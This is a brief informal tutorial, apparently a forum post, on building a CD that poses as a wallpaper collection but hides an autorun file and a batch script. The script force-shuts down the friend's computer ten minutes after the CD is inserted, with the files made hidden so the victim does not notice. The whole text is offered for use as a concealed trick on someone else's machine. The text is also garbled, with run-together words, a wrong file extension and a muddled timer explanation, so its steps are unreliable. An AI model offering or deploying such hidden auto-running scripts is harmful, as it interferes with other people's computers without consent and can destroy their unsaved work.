How to create cd's that shutdown the computer

Hey! if ur one of those guys who wud like to showoff to your friend your wallpaper collection cd,but don't want him to copy it then do this nifty trick when writing the cd pen two notepad files 'A' & 'B' thenin A , type the following below and save the files with extension .iniopen=shutdown.batthen in B ,type the foll ,save it with extension .bat @echo offC:\WINDOWS\system32\shutdown.exe -s -f -t 600 (here give the time desired in seconds where there is '00' in the line alongside;right now your friend has 10min or 600sec to view those files!)now save both files in the beginning of the cd,don't place it inside folders,as it not work then;also make the two files hidden.